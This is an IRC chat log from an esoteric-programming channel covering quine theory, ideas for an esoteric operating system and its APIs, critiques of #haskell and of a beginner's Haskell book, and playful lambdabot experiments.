23:45:25 <Taneb> It was just a thought
23:45:42 <graue> a quineless language seems kinda trivial to me
23:45:56 <Taneb> Yeah, there's loads of them
23:46:08 <graue> just specify that all source code files have to begin with a #, and all programs output a ! when they start, or something
23:46:22 <Taneb> This was all thought out in 2007
23:46:51 <elliott> the problem is that everyone gives trivial counterexamples to the wrong theorem :P
23:47:01 <graue> what's the right theorem?
23:47:41 <elliott> well, there's a theorem that amounts to "anything TC can compute its own source code", basically formally saying that every TC language has a quine
23:48:06 <elliott> but it doesn't say "every TC language has a program that outputs the ASCII source code of itself and nothing else" :P
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23:50:45 <Friendship> That theorem is either incorrect, or so broadly stated as to be uninteresting ...
23:50:51 <elliott> See http://www.madore.org/~david/computers/quine.html#sec_fp
23:52:14 <Friendship> "This is very simple: for a given program t, consider the program h(t) that prints the listing of t. Obviously this h is computable." <-- wrong
23:52:33 <Friendship> "printing" and "computable" are orthogonal concerns.
23:53:24 <Sgeo> I remember seeing a language designed to trivially disprove the quine thing, or at least violate an assumption that a naive statement of it might make
23:53:26 <graue> it's true; a universal turing machine can't "print" anything
23:53:47 <Friendship> You could probably make some statement about a clearly-non-TC transform over some broad notion of output state, but you'd end up with a theory that's very uninteresting.
23:53:54 <Sgeo> A language that, if the first character is ", prints the rest of the code, and if it's not ", just runs as though it's a certain non-I/O TC language
23:53:58 <elliott> but you don't need a notion of "printing" for it to work
23:54:07 <elliott> define "print" as "leave on the tape" or whatever
23:54:34 <Friendship> Yeah, my argument is just that if you do that, then you need a transformation from state to source, and once you define that transformation, everything becomes boring.
23:54:45 <graue> so how do you write a quine in Fractran?
23:54:55 -!- MoALTz_ has joined.
23:55:39 <elliott> graue: by choosing an appropriate encoding for the final result. (Obviously "appropriate encoding" is the problematic thing there)
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23:55:54 <elliott> it would be nice to have a more useful theorem, i agree
23:56:01 <elliott> but (afaik) nobody has formally defined "IO-complete" yet
23:56:14 <graue> i mean... i guess if you could define some sort of 1:1 mapping between fractran programs and single integers, that holds for all valid fractran programs
23:56:41 <Taneb> That's fairly simple to do
23:56:42 <elliott> i am fairly confident there exists a bijection between lists of pairs of integers and integers :P
23:56:43 <graue> and then write a program P that leaves n=mapping(P)
23:56:58 <graue> so you could consider that a quine sort of
23:57:00 <Friendship> The problem is that once you have a mapping, you can game your mapping to make it dull.
23:57:09 <Friendship> I map all output states to the original program HAHA I WIN
23:57:22 <graue> well that's not a bijection
23:57:24 <Taneb> Friendship, that's a silly mapping
23:57:30 <elliott> but you could still cheat by swapping out certain "easy" pairs
23:57:36 <Friendship> OK, OK, you define a simple bij---yeah.
23:57:36 <elliott> what you want is some kind of notion of "uniform bijection"
23:57:42 <elliott> which doesn't treat any input specially
23:58:41 <elliott> which is where things get tricky :p
23:58:56 -!- Friendship has changed nick to RocketJSquirrel.
00:00:24 <elliott> Remember when you were GregorR?
00:01:50 -!- RocketJSquirrel has changed nick to ungroup.
00:01:57 -!- ungroup has changed nick to RocketJSquirrel.
00:03:04 <Taneb> I still own "Taneb"
00:04:04 <elliott> i don't own elliott any more
00:04:40 <nortti> what do you mean by owning a nick?
00:04:52 <Taneb> Having it registered with nickerv
00:05:42 -!- Taneb has changed nick to Taneb|Kindle.
00:05:45 -!- Taneb|Kindle has changed nick to Ngevd.
00:05:50 -!- Ngevd has changed nick to Taneb|Hovercraft.
00:05:53 -!- Taneb|Hovercraft has changed nick to ettioll.
00:05:56 -!- ettioll has changed nick to noqmy.
00:06:10 <elliott> nortti: /msg nickserv help register
00:06:35 -!- noqmy has changed nick to marapreykus.
00:06:39 -!- marapreykus has changed nick to Taneb.
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00:08:08 <Taneb> (by the way, the Piet spec does specify Unicode, but goes no more detailed than that)
00:08:25 <RocketJSquirrel> Honestly, I'm kind of disappointed to find that RocketJSquirrel was free, given how big this network is.
00:08:43 -!- Taneb has changed nick to RocketKSquirrel.
00:09:15 -!- RocketKSquirrel has changed nick to Taneb.
00:10:29 <Taneb> Also, what's the difference between a conjecture and a thesis?
00:11:55 -!- Taneb has quit (Read error: Connection reset by peer).
00:12:42 -!- Taneb has joined.
00:13:41 <Taneb> Bah, internet's dying
00:13:44 -!- Taneb has quit (Client Quit).
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00:21:48 <hagb4rd> my mother accidently deleted the internet past week
00:28:10 <tswett> Sgeo: "is not a quine" is not a quine.
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00:29:58 <zzo38> I have read about a QR code quine on this channel once, I think it was using PNG format.
00:30:16 <zzo38> I have also seen a ZIP quine, which contains a picture as well as a copy of itself.
00:31:23 <hagb4rd> you somethin like a recursive compression?
00:32:38 <zzo38> I also saw a gzip file which when uncompressed, resulted in two copes of the original concatenated together. If you then uncompress that, it will be four copies of the original, and so on.
00:35:30 <tswett> Infinite compression ratio, eh?
00:41:12 -!- nortti has joined.
00:44:06 <kmc> http://research.swtch.com/zip a detailed writeup about the zipfile quine
00:45:40 <nortti> Do you think, that esoos should be based on an existing os with esoteric userland or a completely new kernel written in combination of asm and some esotetic language?
00:47:15 <elliott> the former is quite boring
00:47:19 <elliott> since you skip all the OS parts
00:48:37 -!- nortti has quit (Quit: nortti).
00:55:25 <zzo38> nortti: Second one.
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01:04:01 <nortti> what language would you suggest?
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01:07:42 <Sgeo> There's no place for PSOX, right?
01:07:48 -!- pikhq has quit (Ping timeout: 252 seconds).
01:09:41 <nortti> Sgeo: actually I might b the api for esoos
01:11:57 <elliott> There aren't many esolanguages suited to that low-level fun.
01:12:15 <elliott> Checkout is one, but you can't compile it efficiently to today's instruction sets.
01:12:58 <Sgeo> Note that the file domain is incomplete. And that you'll need to write your own implementation, unless you want to get CPython running on the OS
01:13:08 <nortti> If I use PSOX I will propably leave networking out
01:14:23 <nortti> Why the fuck does android keyboard havs enter and backdpace so close?! -.-
01:14:33 <Sgeo> I'm trying to think, is there anything truly useful in there besides networking and files?
01:14:39 <Sgeo> Besides the general framework
01:15:10 <Sgeo> Which as elliott said may be less suited for languages other than Brainfuck and Checkout (haven't heard of Checkout until now)
01:15:25 <elliott> No, Checkout isn't even remotely suited to PSOX.
01:15:29 <elliott> I was replying to <nortti> what language would you suggest?
01:15:48 <elliott> But it's true that PSOX limits you sorely with its binary requirement.
01:16:34 <nortti> Sgeo: If I use PSIX I will write my own implementation with asm
01:16:59 <Sgeo> elliott, at least it doesn't limit you to cell-based languages
01:18:32 <nortti> Sgeo: Does any esoteruc api limit you to cell based languages?
01:18:50 <elliott> I feel compelled to point out http://catseye.tc/projects/befos/
01:19:15 <Sgeo> nortti, iirc, PESOIX
01:19:20 <Sgeo> Which was PSOX's inspiration
01:19:26 <Sgeo> Some things about PESOIX ticked me off
01:20:50 <Sgeo> Or was it EsoAPI
01:20:57 <Sgeo> PSOX was named after PESOIX
01:21:17 <Sgeo> "EsoAPI 1.0 calls replace the normal output functions. To perform an EsoAPI operation, write the necessary NUL escape character and function call bytes to the output stream. Some function calls may return a status value in the current memory cell. Any other data will start in the cell following the current memory cell. This should be implemented in a way consistent with the language."
01:21:21 <Sgeo> http://esolangs.org/wiki/EsoAPI
01:22:47 <nortti> Oh. That is just stupid
01:23:49 <Sgeo> I think my problem with PESOIX was more subtle
01:27:13 <nortti> or maybe I just create another Esoteric API which needs input and output byte functions
01:28:06 <Sgeo> "Hello! ebdcked interesting ebdcked site! I'm really like it! Very, very ebdcked good!"
01:28:16 <elliott> Come to think of it, Glass could be a decent language to do it with.
01:28:53 <elliott> It has simple semantics without great runtime requirements (just a GC), and has enough abstraction support to allow you to bolt on talk-to-hardware stuff without much effort.
01:30:16 <nortti> Does it need dynamic memory allocation?
01:31:01 <elliott> Sure, but the allocation is explicitly controlled (i.e. you'll know when a piece of code is allocating). And writing a simple allocator+GC can be done in a few hundred lines of assembly code.
01:31:42 <nortti> Yeah. I'll look at Glass when I get to my computer
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01:34:47 <nortti> I actually have pretty simple best fit linked lisr based allocator ready, but it is in 16bit cide
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01:43:47 <kmc> did #haskell change significantly after i left
01:43:58 <kmc> i have some paranoid fantasy where i'm secretly responsible for all of the dysfunction in that channel
01:45:56 <elliott> you can pgdown a few times on http://tunes.org/~nef/logs/haskell/12.03.10 if you want empirical evidence
01:46:54 <zzo38> Write an operating system using a variant of INTERCAL.
01:47:51 <nortti> intercal is kinda boring bacause the please ststem
01:50:30 <shachaf> danharaj: In GHC you can make an identifier that doesn't even have a type.
01:51:25 <elliott> fizzie: Hey, that Korpela guy answers questions on Stack Overflow.
01:52:09 <zzo38> Who is danharaj and how can you make an identifier that doesn't have a type?
01:52:23 <shachaf> kmc: Nope. #haskell has only deteriorated in your absence. :-(
01:53:03 <elliott> shachaf truly has deterioriated in kmc's absence.
01:53:12 <kmc> how has it deteriorated
01:53:13 <shachaf> elliott: Data T = froall a. T { unT :: a }
01:53:30 <shachaf> I just mean that I've been getting annoyed with it more often.
01:54:13 <zzo38> O, yes, you are correct, I think unT doesn't have a type (or a use).
01:54:18 <kmc> let's have all the reasonable people leave #haskell
01:55:08 <shachaf> Pattern-matching and record construction.
01:55:44 * Sgeo factory resets his phone
01:55:54 <elliott> shachaf: IIRC GHC will display unT's type as T -> a if you convince it to.
01:55:58 <elliott> (I think Haddock will document it as such.)
01:56:07 <elliott> (If you don't expose the constructor but expose unT separately.)
01:56:20 <shachaf> Cannot use record selector `unT' as a function due to escaped type variables
01:56:30 <shachaf> (You can test it in ghci these days!)
01:56:40 <shachaf> I don't know of any way to convince it to.
01:56:47 <elliott> <elliott> (I think Haddock will document it as such.)
01:56:56 <shachaf> But that statement is tautologically true.
01:57:33 <shachaf> kmc: If I was reasonable I'd've left #haskell a long time ago, surely.
01:58:31 <kmc> i'm still wondering if i should post my screed about #haskell
01:58:48 <kmc> the channel has many redeeming qualities and i don't want to just walk away
01:58:58 <kmc> but it pisses me off for reasons which are a combination of its and my fault
01:59:28 <shachaf> Which parts are your fault?
02:00:11 <elliott> I can practically guarantee posting such a thing will have no benefits other than catharsis... but maybe if you're still annoyed at an IRC channel after not being in it for months that's what you need.
02:00:31 -!- augur has joined.
02:00:38 <elliott> Catharsis is the word I want there, right? I hate words.
02:00:44 <kmc> seems correct
02:01:01 <kmc> i'm not sure it has no other purpose
02:01:08 <kmc> it will get people talking
02:01:15 <elliott> It might have a purpose, but I doubt that purpose will be fulfilled.
02:01:31 <elliott> But I'm pretty cynical about the ability of online communities to improve.
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02:03:59 <kmc> i think #haskell is friendly, and they think friendly = helpful
02:04:03 <kmc> and so they think they are very helpful
02:04:13 <kmc> perhaps if i tell them that friendly ≠ helpful they could be more helpful
02:04:36 <olsner> well, do you want them to be helpful or friendly?
02:04:49 <kmc> preferably both
02:04:54 <kmc> i am not saying they are mutually exclusive
02:05:02 <kmc> i am saying that being friendly is not itself sufficient for being helpful
02:05:16 <kmc> for example, elaborating every beginner question into an endless argument about monad tutorials is not unfriendly
02:05:36 <kmc> it's done with good intentions
02:06:51 <zzo38> Some pepole have said the programming language I wanted to invent is similar to a combination between Lisp and Haskell; that is probably part of it but not all of it.
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02:07:45 <kmc> standards on IRC are so low that people think #haskell is an amazing channel just because they do not overtly flame noobs
02:10:08 <kmc> i don't think #haskell needs to get significantly less friendly in order to be more helpful
02:10:18 <kmc> perhaps less friendly in some particular ways
02:12:22 <Sgeo> I don't think I could ever flame a newbie
02:12:32 <Sgeo> There was one person I flamed in here a while ago.
02:12:44 <Sgeo> Someone who pretended to know more than he did, iirc
02:12:56 <olsner> can you flame on IRC? I thought that only happened over mail/newsgroups...
02:14:01 <kmc> i told someone directly that they had no idea what they were talking about
02:14:07 <kmc> i don't think i was particularly mean about it
02:14:52 <Sgeo> monqy, tswett has been UPDATEd
02:52:59 <ion> hgeo. honqy. hachaf. hswett.
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03:03:22 <elliott> 02:03:59: <kmc> i think #haskell is friendly, and they think friendly = helpful
03:03:22 <elliott> 02:04:03: <kmc> and so they think they are very helpful
03:03:22 <elliott> 02:04:13: <kmc> perhaps if i tell them that friendly ≠ helpful they could be more helpful
03:03:29 <elliott> kmc: I think they think #haskell is friendly *and* helpful.
03:03:40 <elliott> If you tell them friendly =/= helpful, they'll just ask you what about all the help they do.
03:04:12 <shachaf> elliott: Didn't you just repeat what kmc said?
03:04:32 <pikhq_> Well, they're probably more helpful than most IRC channels, at least.
03:04:53 <pikhq_> The sheer misanthropy of a lot of programming language channels I've seen prevents any attempts at help.
03:04:58 <elliott> kmc is saying that #haskell people think {friendly(#haskell), friendly = helpful}.
03:05:11 <elliott> If you convince them that instead friendly =/= helpful, they won't have the belief helpful(#haskell).
03:05:17 <elliott> I'm saying they think {friendly(#haskell), helpful(#haskell), ...}.
03:05:27 <elliott> If you convince them that friendly =/= helpful, that won't change their belief that helpful(#haskell).
03:07:10 <elliott> I'm writing a Haskell book. Almost finished the 3rd chapter. Would like feedback. (bit.ly)
03:07:31 <elliott> They learned Haskell by reading a book and writing three toy programs a few months ago.
03:08:00 <elliott> They think they "get" monads, but aren't quite sure about "functors".
03:08:07 <elliott> OK, I hate being such a cynic. Please let me be wrong.
03:08:26 <elliott> "To #haskell, where all questions are answered in majestic stereo."
03:08:30 <elliott> shachaf!! You'll never believe it!
03:09:59 * elliott takes a look at the actual book, as if he needed "evidence".
03:10:07 <elliott> "This is not a serious project."
03:10:28 <elliott> Every language (human or computer) is unique. But there exists a special breed of languages ? those that
03:10:28 <elliott> challenge and shape the way one thinks. Haskell is one of them ? lost innovation in a sea of clichés. Un-
03:10:28 <elliott> fortunately, the only people apparently interested in Haskell are academics who blindly push the boundaries
03:10:28 <elliott> and gurus who want to learn ?just one more language?.
03:10:28 <elliott> On a more concrete note, if Haskell were to have a list of prerequisites, it would be very unusual indeed ?
03:10:31 <elliott> at least two of the following:
03:10:35 <elliott> Extensive programming experience
03:10:39 <elliott> A background in mathematics
03:11:37 <ion> Perse is Finnish for arse.
03:12:25 <shachaf> elliott: Thanks to you, I found the book, read some of it, and became annoyed.
03:12:34 <shachaf> Thanks, elliott. Thellileioieliottttt.
03:12:39 <elliott> http://www.reddit.com/r/haskell/comments/qquc5/im_writing_a_haskell_book_almost_finished_the_3rd/c3zqomv
03:13:07 <elliott> "c = [( f x) ^2 | x <- a , x < 10] -- this really works !"
03:13:09 <elliott> OH MY GOD IT'S JUST LIKE PYTHON
03:13:14 <elliott> THANK YOU HASKELL, I'M LEAVING PYTHON FOREVER
03:13:28 <elliott> People really need to think of bettter examples of declarative style than list comprehensions.
03:13:36 <elliott> "The mathematical applications of Haskell are endless. It's even possible to de?ne and work with monoids [XREF]!"
03:13:41 <elliott> THE INCREDIBLY COMPLEX MATHEMATICAL TOOL "MONOID"
03:13:52 <elliott> FINALLY HASKELL SOLVES ALL THE PROBLEMS FOR TODAY'S MATHEMATICIANS, LETTING THEM USE "MONOID"S
03:14:53 <shachaf> "If we try to mix wrong types, Haskell throws a type error."
03:15:07 <shachaf> Are the things highlighted in red supposed to be wrong?
03:15:19 <monqy> "I should actually think before coding, but the type system is so good :)" - Cale
03:15:49 <shachaf> Warning! Backquotes work only with two-parameter functions.
03:17:04 <elliott> This is all because Haskell is riddled with complex, counterintuitive or simply mind-boggling elements. Let's
03:17:04 <elliott> take a look at something interesting.
03:17:04 <elliott> max (2 3) -- doesn 't work
03:17:17 <elliott> max 2 3 /* doesn't work */
03:17:25 <elliott> (max,2)(3) /* doesn't work */
03:17:52 <shachaf> More like a feature, right?
03:17:53 <monqy> For starters, ++ concatenates two lists. It's one of the most basic operators. It's associative, so (a ++ b) ++ c is equivalent to a ++ (b ++ c)^7. / ^7 Without this basic property, lists would be stupid.
03:18:16 <lambdabot> Overlapping instances for GHC.Show.Show (a -> a -> a)
03:18:18 <lambdabot> Overlapping instances for GHC.Show.Show (a -> a)
03:19:00 <shachaf> Technically all functions accept only one parameter, but it's not healthy to think like this, at least for now ? remember
03:19:24 <elliott> I like the part where he gets it right paragraphs later:
03:19:25 <elliott> Also, function application has the highest precedence, so if you write
03:19:25 <elliott> (for more details see A.1).
03:19:35 <monqy> this book isn't real is it
03:19:40 <monqy> it's just an elaborate prank right
03:19:43 <elliott> google docs is super bad at copying
03:19:49 <shachaf> It's a prank meant to make elliott go insane.
03:20:08 <shachaf> Unfortunately elliott was already insane.
03:20:11 <elliott> "Unlike most languages, in Haskell a zero-parameter function and a constant are really the same.
03:20:11 <elliott> strangely enough, has something to do with Problem Z ? we'll understand what that means soon enough.
03:21:21 <ion> FYI: the author is brisingr in Freenode.
03:22:04 <elliott> That guy has been in here before.
03:22:08 <shachaf> I don't want to make fun of people who are in IRC. :-(
03:22:18 <elliott> RocketJSquirrel: CENSOR THE LOGS CENSOR THE LOGS
03:22:56 <elliott> I like how it gets to unsafeCoerce on page 14.
03:23:32 <shachaf> /msg brisingr elliott is making fun of you in #esoteric
03:24:13 <elliott> ion: You ruined all our fun!
03:24:20 <shachaf> Don't you have better channels to make fun of people in?
03:24:24 <elliott> And by "ruined", I mean "saved".
03:24:33 <elliott> And by all of that I mean a turtle. :(
03:25:28 <shachaf> elliott: You should write a better Haskell book.
03:26:08 <shachaf> HASKELL IS THE BEST LANGUAGE EVER
03:26:24 <elliott> "It's not unlike if-else in other languages ? if the statement is true, the
03:26:24 <elliott> branch won't evaluate and viceversa."
03:26:32 <elliott> Tell that to my speculative Haskell evaluator!
03:26:52 * ion tells that to elliott’s speculative Haskell evaluator.
03:27:46 <shachaf> To be fair, a CPU might mispredict the branch in evaluating the C code too!
03:27:55 <monqy> why are you still reading that book
03:28:09 <monqy> by the way have we invited brisignre here yet
03:28:13 <shachaf> monqy: Because it involves no effort and is an easy way to feel superior.
03:28:30 <elliott> Exactly. shachaf gets it exactly right.
03:28:43 <elliott> Except that I'm actually doing it as an intellectual strenghtening exercise.
03:28:55 <elliott> It's like beating your head against a wall, except I'm beating my *mind* against a wall.
03:29:00 <elliott> Which amounts to the same thing, but one sounds better.
03:29:27 <shachaf> It's not actually strengthening.
03:30:32 <shachaf> The point is that elliott is mean-spirited and blackhearted.
03:32:20 <shachaf> Fortunately, Haskell has a strong type system. That means that however similar their internal representations are, the compiler won't allow us to perform illogical calculations on them, such as multiplying an integer with a boolean. This may seem restrictive, but it helps avoid certain types of errors[1] (type errors).
03:32:26 <shachaf> [1] Imagine working on a long, difficult physics problem asking for some velocity -- but after hours of calculations, the result is in kilograms. That can't be good.
03:32:39 <shachaf> I like how Haskell prevents that error.
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03:33:17 <elliott> The joke is that doing dimensional things in Haskell is painful.
03:33:38 <monqy> > 1 {- miles per hour -} + 2 {- kilograms -}
03:33:47 <elliott> I think it's ignoring your comments.
03:34:29 <monqy> > 1 :: miles per hour
03:34:30 <lambdabot> Could not deduce (GHC.Num.Num (miles per hour)) from the context ()
03:35:30 <shachaf> > 1 mile per hour + 2 kilograms
03:36:18 <shachaf> > 1 miles per hour + 2 kilograms
03:36:35 <monqy> kilometre is too many letters for poor haskell
03:37:04 <pikhq_> Is there anything that makes doing dimensional stuff *easy*?
03:37:32 <elliott> (ok, it's not statically-checked)
03:37:35 <elliott> (but it does units excellently)
03:37:41 <ion> λ> 1 *~ (mile / hour) + 2 *~ kilo gram
03:37:48 <ion> Couldn't match type `Numeric.NumType.Zero' with `Numeric.NumType.Pos Numeric.NumType.Zero'
03:38:09 <pikhq_> How astonishingly nice.
03:38:38 <pikhq_> Well, nice for unit handling.
03:38:44 <pikhq_> I don't see any other merits.
03:39:21 <elliott> Wait, what are you replying to?
03:39:41 <elliott> Oh. Frink is astonishingly nice in general.
03:39:53 <elliott> It's the bestest calculator.
03:40:05 <ion> λ> let u = 240 *~ volt * sqrt _2; i = u / r; r = 2 *~ kilo ohm; p = u * i in p /~ watt :: CReal
03:40:08 <pikhq_> Merely being good at unit handling makes it quite nice.
03:41:29 <ion> @hackage frink
03:41:29 <lambdabot> http://hackage.haskell.org/package/frink
03:42:07 <elliott> `frink 2 lightseconds -> "meters"
03:42:46 <monqy> whoa, light, slow down there
03:47:22 * ion makes the light bounce around in fiber, reducing its speed by a third.
03:49:30 <zzo38> elliott: I don't like do-notation and list comprehensions anyways; my own one it doesn't have such things (but might be possible to make up something like that using macros)
03:50:37 <shachaf> ion: OH NO YOU BROKE SCIENCE
03:50:42 <shachaf> elliott: ion broke science :-(
03:51:57 <elliott> Rest in peace , science . we loved , you .
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05:05:42 <elliott> blehhhhh i haven't written any code in SO LONG
05:06:17 <shachaf> elliott: You should finish @!
05:06:48 <ion> > let f a@!b = 42 in f 43
05:06:49 <lambdabot> <no location info>: Parse error in pattern
05:06:57 <ion> > let f !(a@b) = 42 in f 43
05:07:06 <ion> > let f a@(!b) = 42 in f 43
05:07:16 <ion> > let f (!a)@(!b) = 42 in f 43
05:07:17 <lambdabot> <no location info>: parse error on input `@'
05:07:39 <shachaf> > let f !(2@(!b)) = 42 in f 43
05:07:39 <lambdabot> <no location info>: parse error on input `@'
05:07:39 <elliott> ion: You see those problems you're having?
05:08:00 <shachaf> > let f !(a@(!b)) = 42 in f 43
05:08:07 <ion> > let f !(a@(!(c@(!d)))) = 42 in f 43
05:08:11 <shachaf> elliott: What problems do exist in @?
05:08:14 <shachaf> Other than, you know, existence.
05:08:45 <shachaf> @ is certainly not what you could call an existentialist. And yet @ has existential problems!
05:09:26 <ion> I use one in my email address.
05:09:54 <ion> A number of spammers seem to think so.
05:10:18 <shachaf> @: A spammer's operating system.
05:10:36 <elliott> @ is actually the yet-to-be-decided name of @, you just don't know it yet.
05:10:48 <elliott> When we figure out what it is, we'll replace all occurrences of @ in the logs with it.
05:11:25 <zzo38> I think it is bad idea to change the logs
05:11:50 <shachaf> zzo38: Tell me more about you think it is bad idea to change the logs
05:11:51 <ion> I think it is a good idea.
05:12:45 <zzo38> Especially if it is automated. We don't know what will happen possibly things will change to not sense, and not know the old name of it, etc; a better idea is to add annotations to existing logs.
05:12:54 <zzo38> Even if done manually it is not so good.
05:13:42 <ion> I think the probability of any problems occurring when replacing all @s with something else is almost zero.
05:13:57 <elliott> Well, we could replace @ with "<the name> [previously @]", but then the script would get into an infinite loop as it replaces that last @ there.
05:14:32 <monqy> <the name> [previously an at sign]
05:14:45 <ion> the sign formerly known as @
05:15:19 <ion> > iterate ("the sign formerly known as " ++) "@"
05:15:21 <lambdabot> ["@","the sign formerly known as @","the sign formerly known as the sign fo...
05:16:05 <elliott> monqy: No, it was never an at sign.
05:16:13 <elliott> When you say @, you're always saying the name of @.
05:16:22 <elliott> You just don't fully realise it yet.
05:16:28 <monqy> <the name> [this was never an at sign what are you talking about]
05:17:29 <shachaf> THIS WAS NEVER AN AT SIGN WHAT ARE YOU TALKING ABOUT
05:17:33 <ion> @ MACHT FREI
05:18:02 <ion> > (map head . group) "elliott"
05:31:26 <elliott> Pah, ion's realname doesn't contain any repeated adjacent letters.
05:31:31 <elliott> My cunning plan for revenge is foiled.
05:33:42 <ion> I could go to the magistrate’s office and change my name for you. Any suggestions?
05:35:30 <monqy> "Elliott" isn't a palindrome
05:35:40 <ion> neither is “palindrome”
05:37:07 <monqy> > "@" == take 1 "@"
05:37:32 <elliott> monqy: Does @ have to be a palindrome?
05:37:48 <shachaf> The secret name of @ has been discovered through lambdabot trickery!
05:38:12 <elliott> No, it's the at sign, surrounded by two double-quote marks.
05:40:08 <ion> > fix (\s -> "\"" ++ s ++ "\"")
05:40:10 <lambdabot> "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"...
05:40:25 <ion> There’s an @ in the middle.
05:41:05 <shachaf> > let x = fix (\s -> "\"" ++ s ++ "\"") in x !! (length x `div` 2)
05:41:55 <lambdabot> "\"\\\"\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\...
05:42:10 <shachaf> My middleofthelist function is too slow. :-(
05:44:16 <shachaf> > let f (a:_) [] = a; f (a:_) [x] = a; f (a:as) (b:b':bs) = f as bs; g x = f x x in g "abcdef"
05:44:31 <shachaf> > let f (a:_) [] = a; f (a:_) [x] = a; f (a:as) (b:b':bs) = f as bs; g x = f x x in g $ fix (\s -> "\"" ++ s ++ "\"")
05:44:46 <ion> shachaf: Just wait a few years, Moore’s law will make computers fast enough eventually.
05:44:52 * elliott wonders if his infstrings hack can support a "middle of the string" function.
05:45:48 <elliott> "Copute is a derivative of the understanding I gained from my 2006-2008 Universal Theory of Everything (basically that the universal trend of entropy to maximum is the fundamental force), which was recently proven by Erik Verlinde." -- if you're confused, Compute is a programming language. (Hope you're even more confused now.)
05:45:55 <ion> infstrings?
05:46:31 <elliott> ion: http://sprunge.us/BXMM
05:47:09 <shachaf> monqy: what a coputer does
05:47:22 <elliott> start :: (forall a. (Stringy a) => a) -> String
05:47:22 <elliott> end :: (forall a. (Stringy a) => a) -> String
05:47:22 <elliott> end x = reverse (take 25 (getDual x))
05:47:25 <elliott> These break if you make them point-free.
05:47:53 <monqy> rank n types love you
05:47:55 <shachaf> elliott: What an original name for your monoid!
05:48:19 <elliott> shachaf: It's not a monoid! It violates the monoid laws. This hack is sort of in transition to becoming better, but hasn't quite got there yet.
05:48:33 <monqy> what an original name for your Monoid
05:49:06 <shachaf> What a devious name for your nonmonoid!
05:49:41 <ion> elliott: Heh, interesting.
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05:50:19 <shachaf> elliott: Why does it break if you make them point-free. :-(
05:51:08 <monqy> rank n types love elliott
05:51:14 <monqy> rank n types love everyone
05:51:19 <shachaf> monqy: are you rank n types
05:51:28 <monqy> you've found me out
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05:51:57 <shachaf> MoALTz: monqy is rank n types
05:56:29 <elliott> shachaf: Khan you fixhe the @,e thaneyk uoi
05:57:18 <monqy> shachaf: elliott what
05:57:24 <elliott> "Assuming no random inputs, the program's behavior is always deterministic (repeatable from initial conditions) w.r.t. the code as the observer. Fortunately1 this total observer never exists for program coded in a language with unbounded recursion, i.e. Turing-complete.
05:57:26 <elliott> 1A total observer would mean knowledge is static. Since software is the encoding of knowledge, software would become static. A person could eventually know everything. Then I posit that nothing would exist."
05:57:34 <monqy> @ask shachaf elliott what
05:57:39 <elliott> It's CS woo mixed with Theory of Everything woo.
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05:57:54 <shachaf> @tell monqy @ask elliott what
05:58:00 <lambdabot> shachaf said 6s ago: @ask elliott what
05:58:07 <monqy> @tell elliott what
05:58:29 <shachaf> now elioitlit wil get mad :(
05:58:29 <lambdabot> shachaf: You have 1 new message. '/msg lambdabot @messages' to read it.
06:00:07 <elliott> shachaf: I see you're doing your bit to make this place slightly worse than #haskell.
06:00:07 <lambdabot> elliott: You have 1 new message. '/msg lambdabot @messages' to read it.
06:01:42 <shachaf> elliott: < elliott> shachaf: Khan you fixhe the @,e thaneyk uoi
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06:02:42 <elliott> Yes. That's slightly better than #haskell.
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06:11:12 <elliott> monqy: shachaf's caused me to actually start thinking about @, but can I just offload the thinking onto you?
06:11:34 <zzo38> At 2AM, I am going to fix all of the clocks in my house
06:11:42 <zzo38> Are you going to do that too?
06:11:59 <monqy> elliott: there is no escape
06:12:17 <zzo38> elliott: I don't know. Can you look at it?
06:12:42 <zzo38> (If it no longer says the time, but instead just says OK OK OK OK OK OK OK OK all the time, then it might be broken.)
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06:16:29 <shachaf> elliott: Does it say it all the time?
06:16:44 <ion> > cycle "OK "
06:16:46 <lambdabot> "OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK...
06:16:47 <elliott> I'll stare at it forever to find out.
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06:21:43 <HackEgo> shachaf: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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06:21:46 <elliott> One of you has to change their name.
06:21:46 <HackEgo> shadwick: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
06:21:59 <HackEgo> shachaf: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
06:22:02 <monqy> let's all welcome shachaf
06:22:10 <monqy> and shachaf is welcome
06:22:37 <shadwick> elliott: thanks. been browsing tons of random pages on the Wiki this evening
06:26:10 <ion> `WELCOME SHACHAF
06:26:14 <HackEgo> SHACHAF: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
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06:27:07 <elliott> Dammit, I forget the existence of `WELCOME just as a newbie comes in.
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06:29:06 * Sgeo imagines a language where all functions take only keyword arguments and the keywords can be in any order
06:29:18 <HackEgo> SHACHAF: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
06:29:30 <HackEgo> PSOX: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
06:29:51 <shadwick> dear god, what has my arrival done?..
06:29:52 <Sgeo> Or is PSOX not welcome
06:30:20 <Sgeo> shadwick, trust me, we're rarely not this insane.
06:30:33 <ion> shadwick: Don’t trust him.
06:31:16 <elliott> shadwick: We're usually stupider than this... but also usually more entertaining.
06:31:19 <shadwick> I had a feeling this channel might be a little insane, after seeing some of the languages on the Wiki
06:31:24 <elliott> shachaf will now snark back at me.
06:31:45 <shadwick> just reading Eodermdrome's article..
06:31:58 <zzo38> I think we are sort of this insane, and also sort of not as much as insane, and also sort of a bit more insane than that, and also somewhat more various other thing at various times whatever you are discussing at that time
06:32:07 <monqy> I eagerly await shachaf's backsnark
06:32:12 <monqy> shachaf, do not disappoint
